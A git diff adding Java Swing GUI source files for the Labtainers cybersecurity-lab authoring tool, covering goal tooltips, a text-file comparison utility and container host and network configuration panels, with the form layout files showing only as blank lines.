" + + "string." ), + // 4 + new ToolTipWrapper("string_contains", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + + // 5 + new ToolTipWrapper("integer_equal", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + + // 6 + new ToolTipWrapper("integer_greater", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + + // 7 + new ToolTipWrapper("integer_lessthan", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + + // 8 + new ToolTipWrapper("hash_equal", "The resulttag value is hashed using the Lab Master Seed
"+ + "defined in the start.config. That is compared with
"+ + "the answertag, which should have been generated by
"+ + "the hash-goals.py utility")}; + + public static final ToolTipWrapper[] Answer_ITEMS = new ToolTipWrapper[] { + //0 + new ToolTipWrapper("Literal", "blahblahblahblah booleanResultTypes = new ArrayList(Arrays.asList( + "CONTAINS", + "FILE_REGEX", + "LOG_TS", + "FILE_REGEX_TS", + "LOG_RANGE", + "RANGE_REGEX", + "TIME_DELIM" + )); + + //Input format 1: [operator : resultTag : answerTag] + public static final ArrayList opInput = new ArrayList(Arrays.asList( + "matchany", + "matchlast", + "matchacross", + "count_matches" + )); + + //Input format 2: [goal1 : goal2] + public static final ArrayList goalInput = new ArrayList(Arrays.asList( + "time_before", + "time_during", + "time_not_during" + )); + + //Input format 2: [resultTag] + public static final ArrayList resultTagInput = new ArrayList(Arrays.asList( + "count_value", + "value", + "value_sum", + "value_max" + )); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/CompareTextFiles.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/CompareTextFiles.java new file mode 100644 index 000000000..ce91dd89f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/CompareTextFiles.java @@ -0,0 +1,111 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.mainui; +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.IOException; + +public class CompareTextFiles +{ + private static boolean plainComment(String line){ + boolean retval = false; + if(line.trim().startsWith("#") && !line.contains("DOC:")){ + retval = true; + } + return retval; + } + private static String nextLine(BufferedReader br) throws IOException{ + String line = br.readLine(); + //System.out.println("nextLine line: "+line); + // when did java lose its evaluation precidence? + if(line != null){ + line = line.trim().replaceAll(" +", " "); + while(line != null && (plainComment(line) || line.trim().length() == 0)){ + line = br.readLine(); + if(line == null) + break; + line = line.trim().replaceAll(" +", " "); + } + } + return line; + } + public static boolean compare(String path1, String path2) throws IOException + { + if(path1 == null || path2 == null){ + return false; + } + BufferedReader reader1 = new BufferedReader(new FileReader(path1)); + BufferedReader reader2 = new BufferedReader(new FileReader(path2)); + String line1 = nextLine(reader1); + String line2 = nextLine(reader2); + boolean areEqual = true; + int lineNum = 1; + + while (line1 != null || line2 != null) + { + if((line1 == null && line2.trim().length()>0) || (line2 == null && line1.trim().length()>0)) + { + areEqual = false; + break; + } + else if((line1 != null && line2 != null) && (! line1.trim().equalsIgnoreCase(line2.trim()))) + { + /* + System.out.println("DIFFERENT"); + System.out.println("\t"+line1); + System.out.println("\t"+line2); + */ + areEqual = false; + break; + } + line1 = nextLine(reader1); + line2 = nextLine(reader2); + lineNum++; + } + + if(areEqual) + { + //System.out.println("Two files have same content."); + } + else + { + /* + System.out.println("Two files have different content. They differ at line "+lineNum); + System.out.println("File1 has "+line1+" and File2 has "+line2+" at line "+lineNum); + System.out.println("file1 "+path1+" file2: "+path2); + */ + } + + reader1.close(); + reader2.close(); + return areEqual; + } +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigAddHosts.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigAddHosts.form new file mode 100644 index 000000000..0d3f87635 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigAddHosts.form @@ -0,0 +1,93 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigAddHosts.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigAddHosts.java new file mode 100644 index 000000000..a3d262fe6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigAddHosts.java @@ -0,0 +1,209 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.mainui; + +import java.awt.Dimension; +import java.util.ArrayList; +import javax.swing.JPanel; + +/** + * + * @author Daniel Liao + */ +public class ContainerConfigAddHosts extends javax.swing.JPanel { + + /** + * Creates new form ContainerConfigAddHosts + */ + private final ContainerObjPanel parent; + public ContainerConfigAddHosts(ContainerObjPanel parent, LabData data, String type, String host, String ip, String network) { + initComponents(); + this.parent = parent; + + // IP MODE + if(type.equals("ip")){ + this.AddHostHostTF.setText(host); + this.AddHostIpTF.setText(ip); + this.AddHostNetworkCombobox.setVisible(false); + } + // NETWORK MODE + else { + //Fill the combobox with the current list of Networks + for(int i = 0;i//GEN-BEGIN:initComponents + private void initComponents() { + + AddHostIpTF = new javax.swing.JTextField(); + AddHostNetworkCombobox = new javax.swing.JComboBox<>(); + AddHostHostTF = new javax.swing.JTextField(); + AddHostDeleteButton = new javax.swing.JButton(); + + setBorder(javax.swing.BorderFactory.createEtchedBorder()); + setMaximumSize(new java.awt.Dimension(545, 58)); + setMinimumSize(new java.awt.Dimension(545, 58)); + setName(""); // NOI18N + setPreferredSize(new java.awt.Dimension(545, 58)); + + AddHostIpTF.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + AddHostHostTF.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + AddHostDeleteButton.setText("Delete"); + AddHostDeleteButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + AddHostDeleteButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(AddHostNetworkCombobox, javax.swing.GroupLayout.PREFERRED_SIZE, 188, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(AddHostHostTF, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(AddHostIpTF, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(AddHostDeleteButton) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(AddHostNetworkCombobox, javax.swing.GroupLayout.DEFAULT_SIZE, 34, Short.MAX_VALUE) + .addComponent(AddHostHostTF, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(AddHostDeleteButton) + .addComponent(AddHostIpTF, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap()) + ); + }// //GEN-END:initComponents + + private void AddHostDeleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_AddHostDeleteButtonActionPerformed + remove(); + }//GEN-LAST:event_AddHostDeleteButtonActionPerformed + + // MANIPULATION // + + // Deletes this object + protected void remove(){ + JPanel containerAddhostPanel = (JPanel)this.getParent(); + + // delete the container from the list + containerAddhostPanel.remove(this); + + // Shorten the panel height holding all the containers and resize it. + parent.containerAddHostPanelLength-=63; + containerAddhostPanel.setPreferredSize(new Dimension(0,parent.containerAddHostPanelLength)); + + // Redraw the panel containing the list of containers + containerAddhostPanel.revalidate(); + containerAddhostPanel.repaint(); + } + + // Adds network to combobox + protected void addNetworkToComboBox(String newNetworkName){ + AddHostNetworkCombobox.addItem(newNetworkName); + } + + // Deletes network from combobox + protected void deleteNetworkInComboBox(String deletedNetwork){ + AddHostNetworkCombobox.removeItem(deletedNetwork); + } + + // Updates the combobox list with the renamed network + protected void renameNetworkToComboBox(String oldNetwork, String newNetwork){ + boolean updateSelectedItem = AddHostNetworkCombobox.getSelectedItem().equals(oldNetwork); + ArrayList tmp = new ArrayList(); + + //Create new list to set as the combobox items + for(int i=0;i getNetworkCombobox(){ + return AddHostNetworkCombobox; + } + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton AddHostDeleteButton; + private javax.swing.JTextField AddHostHostTF; + private javax.swing.JTextField AddHostIpTF; + private javax.swing.JComboBox AddHostNetworkCombobox; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigNetworksSubpanel.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigNetworksSubpanel.form new file mode 100644 index 000000000..9e420eea8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigNetworksSubpanel.form @@ -0,0 +1,99 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigNetworksSubpanel.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigNetworksSubpanel.java new file mode 100644 index 000000000..a6d1882f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerConfigNetworksSubpanel.java @@ -0,0 +1,215 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.mainui; + +import java.awt.Dimension; +import java.util.ArrayList; +import javax.swing.JPanel; + +/** + * + * @author Daniel Liao + */ +public class ContainerConfigNetworksSubpanel extends javax.swing.JPanel { + + /** + * Creates new form ContainerConfigNetworksSubpanel + */ + private final ContainerObjPanel parent; + private LabData data; + public ContainerConfigNetworksSubpanel(ContainerObjPanel parent, LabData data, String network, String ip) { + initComponents(); + this.parent = parent; + this.data = data; + //Fill the combobox with the current list of Networks + for(int i = 0;i//GEN-BEGIN:initComponents + private void initComponents() { + + ContainerConfigNetworksNameCombobox = new javax.swing.JComboBox<>(); + ContainerConfigNetworksIPTextfield = new javax.swing.JTextField(); + ContainerConfigNetworksDeleteButton = new javax.swing.JButton(); + + setBorder(javax.swing.BorderFactory.createEtchedBorder()); + setMaximumSize(new java.awt.Dimension(543, 53)); + setMinimumSize(new java.awt.Dimension(543, 53)); + setPreferredSize(new java.awt.Dimension(543, 53)); + + ContainerConfigNetworksNameCombobox.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + ContainerConfigNetworksNameCombobox.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerConfigNetworksNameComboboxActionPerformed(evt); + } + }); + + ContainerConfigNetworksIPTextfield.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N + + ContainerConfigNetworksDeleteButton.setText("Delete"); + ContainerConfigNetworksDeleteButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerConfigNetworksDeleteButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGap(27, 27, 27) + .addComponent(ContainerConfigNetworksNameCombobox, javax.swing.GroupLayout.PREFERRED_SIZE, 169, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ContainerConfigNetworksIPTextfield, javax.swing.GroupLayout.PREFERRED_SIZE, 250, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ContainerConfigNetworksDeleteButton) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(ContainerConfigNetworksDeleteButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup() + .addGap(1, 1, 1) + .addComponent(ContainerConfigNetworksIPTextfield)) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup() + .addComponent(ContainerConfigNetworksNameCombobox, javax.swing.GroupLayout.PREFERRED_SIZE, 31, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + }// //GEN-END:initComponents + + private void ContainerConfigNetworksDeleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerConfigNetworksDeleteButtonActionPerformed + remove(); + }//GEN-LAST:event_ContainerConfigNetworksDeleteButtonActionPerformed + + private void ContainerConfigNetworksNameComboboxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerConfigNetworksNameComboboxActionPerformed + int index = ContainerConfigNetworksNameCombobox.getSelectedIndex(); + String subnet = this.data.getNetworks().get(index).mask; + String ip_part = subnet.split("/")[0]; + this.ContainerConfigNetworksIPTextfield.setText(ip_part); + }//GEN-LAST:event_ContainerConfigNetworksNameComboboxActionPerformed + + // MANIPULATION // + + // Deletes this object + protected void remove(){ + JPanel containerConfigNetworksPanel = (JPanel)this.getParent(); + // Delete the container from the list + containerConfigNetworksPanel.remove(this); + + // Shorten the panel height holding all the containers and resize it. + parent.containerConfigNetworksPanelLength-=53; + containerConfigNetworksPanel.setPreferredSize(new Dimension(0,parent.containerConfigNetworksPanelLength)); + + // Redraw the panel containing the list of containers + containerConfigNetworksPanel.revalidate(); + containerConfigNetworksPanel.repaint(); + } + + // Adds a network into the combobox + protected void addNetworkToComboBox(String newNetworkName){ + ContainerConfigNetworksNameCombobox.addItem(newNetworkName); + } + + // Deletes a network from the combobox + protected void deleteNetworkInComboBox(String deletedNetwork){ + ContainerConfigNetworksNameCombobox.removeItem(deletedNetwork); + } + + // Updates the combobox list with the renamed network + protected void renameNetworkToComboBox(String oldNetwork, String newNetwork){ + boolean updateSelectedItem = ContainerConfigNetworksNameCombobox.getSelectedItem().equals(oldNetwork); + ArrayList tmp = new ArrayList(); + + //Create new list to set as the combobox items + for(int i=0;i getNetworkComboBox(){ + return ContainerConfigNetworksNameCombobox; + } + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton ContainerConfigNetworksDeleteButton; + private javax.swing.JTextField ContainerConfigNetworksIPTextfield; + private javax.swing.JComboBox ContainerConfigNetworksNameCombobox; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerObjPanel.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerObjPanel.form new file mode 100644 index 000000000..b737434ff --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerObjPanel.form @@ -0,0 +1,1142 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerObjPanel.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerObjPanel.java new file mode 100644 index 000000000..d58763a6b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ContainerObjPanel.java @@ -0,0 +1,1456 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.mainui; + +import java.awt.Component; +import java.awt.Dimension; +import java.io.BufferedReader; +import java.io.File; +import java.io.FileReader; +import java.io.IOException; +import java.io.InputStreamReader; +import javax.swing.JDialog; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JScrollBar; +import javax.swing.SwingUtilities; +import java.io.IOException; +import java.io.FileNotFoundException; +import java.util.logging.Level; +import java.util.logging.Logger; +/** + * + * @author Daniel Liao + */ +public class ContainerObjPanel extends javax.swing.JPanel { + + /** + * Creates new form ContainerObjPanel + */ + private final MainWindow mainWindow; + private final LabData.ContainerData data; + + // Constructor for loading a container object panel based on a container data object + public ContainerObjPanel(MainWindow mainWindow, LabData.ContainerData data){ + initComponents(); + //editMenu.add(fixlocalMenuItem); + //editMenu.add(editDockerMenuItem); + //editMenu.add(openShellMenuItem); + //editMenuBar.add(treataslocalMenuItem); + //editMenuBar.add(editDockerMenuItem); + editMenuBar.add(openShellMenuItem); + editMenu.add(openShellMenuItem); + this.data = data; + this.mainWindow = mainWindow; + this.containerAddHostScrollPaneBar = AddHostsScrollPane.getVerticalScrollBar(); + this.containerConfigNetworksScrollPaneBar = ContainerConfigNetworksScrollpane.getVerticalScrollBar(); + this.ContainerLabelName.setText(this.data.name); + this.RenameContainerTextfield.setVisible(false); + } + void setNameLabel(){ + String l = "Container: "+data.name+" Base: "+getBaseName(); + this.containerLabel.setText(l); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ContainerConfigWindow = new javax.swing.JDialog(); + containerTabPane = new javax.swing.JTabbedPane(); + ContainerConfigGeneralTab = new javax.swing.JPanel(); + UserTF = new javax.swing.JTextField(); + PasswordTF = new javax.swing.JTextField(); + TerminalQuantitySpinner = new javax.swing.JSpinner(); + TerminalGroupTextfield = new javax.swing.JTextField(); + LabGatewayTextfield = new javax.swing.JTextField(); + NoGWCheckbox = new javax.swing.JCheckBox(); + X11Checkbox = new javax.swing.JCheckBox(); + ContainerConfigNetworksAddButton = new javax.swing.JButton(); + ContainerConfigNetworksScrollpane = new javax.swing.JScrollPane(); + ContainerConfigNetworksPanel = new javax.swing.JPanel(); + containerLabel = new javax.swing.JLabel(); + NoResolveCheckbox = new javax.swing.JCheckBox(); + ResolvConfTextfield = new javax.swing.JTextField(); + ContainerConfigDockerTab = new javax.swing.JPanel(); + jLabel2 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jLabel4 = new javax.swing.JLabel(); + jLabel5 = new javax.swing.JLabel(); + RegistryTextfield = new javax.swing.JTextField(); + PublishTextfield = new javax.swing.JTextField(); + BaseRegistryTextfield = new javax.swing.JTextField(); + NoPrivilegeCheckbox = new javax.swing.JCheckBox(); + EditDockerfileButton = new javax.swing.JButton(); + ContainerConfigNetworkTab = new javax.swing.JPanel(); + AddHostsScrollPane = new javax.swing.JScrollPane(); + AddHostsSubPanel = new javax.swing.JPanel(); + AddHostLabel3 = new javax.swing.JLabel(); + ContainerConfigAddHostIPButton = new javax.swing.JButton(); + ContainerConfigAddHostNetworkButton = new javax.swing.JButton(); + ContainerConfigGNS3Tab = new javax.swing.JPanel(); + ThumbVolumeLabel = new javax.swing.JLabel(); + HideLabel = new javax.swing.JLabel(); + ThumbCommandLabel = new javax.swing.JLabel(); + ThumbStopLabel = new javax.swing.JLabel(); + ThumbStopTextfield = new javax.swing.JTextField(); + ThumbVolumeTextfield = new javax.swing.JTextField(); + ThumbCommandTextfield = new javax.swing.JTextField(); + HideCheckbox = new javax.swing.JCheckBox(); + ContainerConfigOtherTab = new javax.swing.JPanel(); + jLabel8 = new javax.swing.JLabel(); + jLabel10 = new javax.swing.JLabel(); + jLabel11 = new javax.swing.JLabel(); + jLabel12 = new javax.swing.JLabel(); + XtermTitleTextfield = new javax.swing.JTextField(); + XtermScriptTextfield = new javax.swing.JTextField(); + MyStuffCheckbox = new javax.swing.JCheckBox(); + NoPullCheckbox = new javax.swing.JCheckBox(); + ClonesSpinner = new javax.swing.JSpinner(); + jLabel13 = new 